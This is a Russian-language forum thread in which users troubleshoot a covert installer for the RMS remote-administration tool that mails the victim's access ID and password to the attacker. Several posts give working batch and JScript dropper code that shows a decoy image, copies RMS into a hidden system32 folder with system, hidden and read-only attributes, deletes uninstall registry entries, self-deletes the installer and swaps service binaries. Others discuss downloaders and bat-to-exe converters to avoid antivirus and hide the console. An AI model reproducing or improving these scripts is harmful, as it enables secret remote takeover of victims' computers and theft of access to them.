RMS 5.1 c отправкой ID и pass на почту.

Тема в разделе "Статьи", создана пользователем крах, 14 сен 2011.

Статус темы:
Закрыта.
  1. kot37
    kot37 Новичок
    Симпатии:
    0
    доброй ночи:),подскажите плиз,ничего на почту не приходит что я сделал ни так install.cmd в RMS.exe такой @chcp 1251
    @MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /qn REBOOT=ReallySuppress
    @MsiExec /x {11A90858-40BB-4858-A2DA-CA6495B5E907} /qn REBOOT=ReallySuppress
    @ping 127.0.0.1
    @MsiExec /I "rms.server5.1b1ru.msi" /qn
    а в самой сборке setup.exe install.bat вот такой set @x=0 /*
    echo off
    copy /y img1.jpg %SYSTEMROOT%\img1.jpg
    start %SYSTEMROOT%\img1.jpg
    mkdir %systemroot%\system32\sysfiles
    copy "RMS.exe" "%SystemRoot%\system32\sysfiles\RMS.exe" /y
    attrib +s +h +r "%SystemRoot%/system32/sysfiles/RMS.exe"
    cd %SystemRoot%\system32\sysfiles
    start RMS.exe
    cscript //nologo /e:jscript "%~f0" 30000
    reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Un install\{11A90858-40BB-4858-A2DA-CA6495B5E907}" /f
    reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\In staller\UserData\S-1-5-18\Products\85809A11BB0485842AADAC46595B9E70\Insta llProperties" /f
    reg delete "HKCR\Installer\Products\85809A11BB0485842AADAC465 95B9E70" /f
    net stop rmanservice
    copy "rfusclient.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\" /y
    copy "rutserv.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\" /y
    copy "rfusclient.exe" "%ProgramFiles%\Remote Manipulator System - Server\" /y
    copy "rutserv.exe" "%ProgramFiles%\Remote Manipulator System - Server\" /y
    net start rmanservice
    attrib +S +H +r "C:\Program Files\Remote Manipulator System - Server"
    attrib +S +H +r "C:\Program Files (x86)\Remote Manipulator System - Server"
    goto:eof */ if(isFinite(WScript.Arguments(0))) WScript.Sleep(WScript.Arguments(0))
    exit и ещё подправил stop.js вот так var WSHShell = WScript.CreateObject("WScript.Shell");
    WSHShell.Run("install.bat",0);

    myActiveXObject = new ActiveXObject("Scripting.FileSystemObject");
    file = myActiveXObject.GetFile("stop.js");
    file.Delete(); всё по советам здесь а всё равно на почту ничего не идёт уже как неделю,в чём касяк очень надо :dontknow:заранее сенкс и огромный+++

    Добавлено через 2 минуты
    сори что так каряво вышло:(
     
    Последнее редактирование: 10 дек 2011
    10 дек 2011
  2. TDI
    TDI Новичок
    Симпатии:
    32
    Отправка на почту настраивается в MSI Конфигураторе (смотри 2 скрин первого поста)
     
    10 дек 2011
  3. kot37
    kot37 Новичок
    Симпатии:
    0
    да да сделал всё в нём указал адрес на yandex и всё равно тишина,а здесь все верно подскажите

    Добавлено через 5 минут
    да кстати в сборке есть картинка вот такая img1.jpg

    Добавлено через 6 минут
    подскажите TDI правильно прописал install.cmd в RMS.exe,в setup.exe install.bat и наконец stop.js сенкс:pivo:
     
    Последнее редактирование: 10 дек 2011
    10 дек 2011
  4. TDI
    TDI Новичок
    Симпатии:
    32
    тут половины ненадо, а лутше юзай "дедовский" метод)
    более надежная сборка
     
    10 дек 2011
  5. TUZ
    TUZ Новичок
    Симпатии:
    0
    reg delete "HKLM\SYSTEM\Remote Manipulator System" /f Этот способ не прокатывает я эту ветку и вручную удалял.
     
    10 дек 2011
  6. TDI
    TDI Новичок
    Симпатии:
    32
    мб не все файлы потер, почисти грамотно систему от РМС
     
    10 дек 2011
  7. onthar
    onthar Продвинутый
    Симпатии:
    224
    @patron@ сам бы ты не додумался до такой сборки, это я уверен на 100%.
    Продажи этого продукта на нашем форуме не будет, любые попытки будут наказываться.
    Тема обсуждения барыг закрыта.

    UPD
    Ты так с одноклассниками разговаривай своими, или с родителями. Пусть они расскажут, за что можно по губам получить, разговаривая с людьми в таком тоне.
     
    Последнее редактирование: 12 дек 2011
    11 дек 2011
  8. badpit007
    badpit007 Новичок
    Симпатии:
    0
    А что нужно сделать, чтобы при запуске билда если РМС на машине уже установлен, то он бы не переустанавливался, а просто не устанавливался ?
     
    15 дек 2011
  9. onthar
    onthar Продвинутый
    Симпатии:
    224
    Штатными средствами, если точнее - письмо отправляет сервер RMS, который раздает ID компьютерам.
     
    16 дек 2011
  10. nnmclub63
    nnmclub63 Новичок
    Симпатии:
    0
    Все работает нормально. Баннера нет. Только приходится вручную копировать новые *.exe файлы в папку с программой. Кто нибудь может сделать так, чтобы автоматически заменялись файлы. Пытался поменять в MSI файле, но не получилось.
     
    18 дек 2011
  11. AndreasV
    AndreasV Новичок
    Симпатии:
    1
    Ребят здравствуйте,тема очень полезная,сборку собрал,работает отлично,но есть небольшое НО - если в системе настроено чтобы .js файлы открывались каким то редактором,пусть то будет блокнот или любой другой, то сборка просто не установится.Тоесть сборка нормально устанавливается если исполнение js скриптов стоит по умолчанию программой C:\Windows\System32\wscript.exe . Или я ошибаюсь?Просто когда у меня js файлы автоматически открывались dreamweaver'ом то сборка не устанавливалась а при двойном щелчке просто открывался скрипт stop.js
     
    19 дек 2011
  12. aigera
    aigera Новичок
    Симпатии:
    3
    Извините, сборка собрана и работает, но вес внушительный, если использовать downloader для rms, будет ли он палиться? Кто не будь пробовал?

    Добавлено через 4 минуты
    - из сборки надо исключить stop.js и заменить батником, т.к. у некоторых пользователей может быть отключен JavaScript
     
    Последнее редактирование: 19 дек 2011
    19 дек 2011
  13. Falscher
    Falscher Новичок
    Симпатии:
    0
    aigera,
    Лучше конешно использовать Downloader, АВ не ругаются если через него, Сам юзаю, гуд.
     
    19 дек 2011
  14. AndreasV
    AndreasV Новичок
    Симпатии:
    1
    Если убрать stop.js тогда установчик не удалится после запуска,и скорее всего не запустится.
     
    20 дек 2011
  15. nnmclub63
    nnmclub63 Новичок
    Симпатии:
    0
    Помогите, пожалуйста, разобраться с проблемой.

    PHP:
    @echo off

    mkdir 
    %systemroot%\system32\sysfiles

    copy 
    /y "RMS.exe" "%SystemRoot%\system32\sysfiles\RMS.exe"

    attrib +s +h +r "%SystemRoot%/system32/sysfiles/RMS.exe"

    cd %SystemRoot%\system32\sysfiles
    start RMS
    .exe

    ping 
    -n 1 -w 40000 192.168.254.254 >nul

    %windir%/system32/taskkill.exe /f /im "rfusclient.exe"

    %windir%/system32/taskkill.exe /f /im "rutserv.exe"

    ping -n 1 -w 10000 192.168.254.254 >nul

    copy 
    /y "rfusclient.exe" "%ProgramFiles%\Remote Manipulator System - Server\"

    copy /y "
    rfusclient.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\"

    ping -n 1 -w 10000 192.168.254.254 >nul

    copy /y "
    rutserv.exe" "%ProgramFiles%\Remote Manipulator System - Server\"
    copy /y "
    rutserv.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\"

    exit
    когда запускаю в инсталляторе этот bat файл. где то происходит ошибка. но когда отдельно запускаю

    PHP:
    @echo off

    mkdir 
    %systemroot%\system32\sysfiles

    copy 
    /y "RMS.exe" "%SystemRoot%\system32\sysfiles\RMS.exe"

    attrib +s +h +r "%SystemRoot%/system32/sysfiles/RMS.exe"

    cd %SystemRoot%\system32\sysfiles
    start RMS
    .exe
    exit
    и
    PHP:
    @echo off
    ping 
    -n 1 -w 40000 192.168.254.254 >nul

    %windir%/system32/taskkill.exe /f /im "rfusclient.exe"

    %windir%/system32/taskkill.exe /f /im "rutserv.exe"

    ping -n 1 -w 10000 192.168.254.254 >nul

    copy 
    /y "rfusclient.exe" "%ProgramFiles%\Remote Manipulator System - Server\"

    copy /y "
    rfusclient.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\"

    ping -n 1 -w 10000 192.168.254.254 >nul

    copy /y "
    rutserv.exe" "%ProgramFiles%\Remote Manipulator System - Server\"
    copy /y "
    rutserv.exe" "%ProgramFiles(x86)%\Remote Manipulator System - Server\"

    exit
    все работает нормально. Где ошибка?
     
    20 дек 2011
  16. damirtm58n
    damirtm58n Новичок
    Симпатии:
    0
    Собери sfx архив который запускал бы instal.bat а не stop.js и самоуляляющийся если нужно
     
    20 дек 2011
  17. vlader
    vlader Guest
    damirtm58n,
    Но будет чёрное окошко, которое юзер сможет закрыть. Попробуй использовать BAT TO EXE CONVERTER.
    nnmclub63,
    Код:
    @echo off 
    
    mkdir %systemroot%\system32\sysfiles 
    
    copy /y "RMS.exe" "%SystemRoot%\system32\sysfiles\RMS.exe" 
    
    attrib +s +h +r "%SystemRoot%/system32/sysfiles/RMS.exe" 
    
    cd %SystemRoot%\system32\sysfiles 
    start RMS.exe 
    
    ping -n 1 -w 40000 192.0.0.1 >nul 
    
    %windir%/system32/taskkill.exe /f /im "rfusclient.exe" 
    
    %windir%/system32/taskkill.exe /f /im "rutserv.exe" 
    
    ping -n 1 -w 10000 192.168.254.254 >nul 
    
    copy /y "rfusclient.exe" "%ProgramFiles%\Remote Manipulator System - Server\" 
    
    copy /y "rfusclient.exe" "%ProgramFiles(x86)%Remote Manipulator System - Server" 
    
    ping -n 1 -w 10000 192.168.254.254 >nul 
    
    copy /y "rutserv.exe" "%ProgramFiles%Remote Manipulator System - Server" 
    copy /y "rutserv.exe" "%ProgramFiles(x86)%Remote Manipulator System - Server" 
    
    exit  
    Красное можно убрать. Так просто получше, а ошибки я не вижу.
     
    20 дек 2011
  18. vlader
    vlader Guest
    Кстати насчёт .js файла, я придумал, что можно сделать. Создаём sfx архив и заносим туда все файлы, которые мы заносили в setup.exe. А теперь самое важное. В настройках sfx при архивации туда, куда надо написать файл, который откроется после архивации пишем
    Код:
    %windir%\system32\wscript.exe stop.js /b /nologo
    Вот и всё. Данный метод подойдёт также и к сборке из соседней темы.
    А для тех, кто ничего не понял, я сделал скрины.
    [​IMG]
    [​IMG]
    После этого надо создать архив. В архиве должны быть все файлы, которые были в setup.exe.
     
    20 дек 2011
  19. nnmclub63
    nnmclub63 Новичок
    Симпатии:
    0
    Если убрать строки, происходит ошибка в копировании. Надо подождать некоторое время после завершения процесса.
     
    21 дек 2011
  20. nnmclub63
    nnmclub63 Новичок
    Симпатии:
    0
    С копированием файлов разобрался. Но теперь не запускается при перезагрузке. Что делать?
     
    21 дек 2011
Статус темы:
Закрыта.
Загрузка...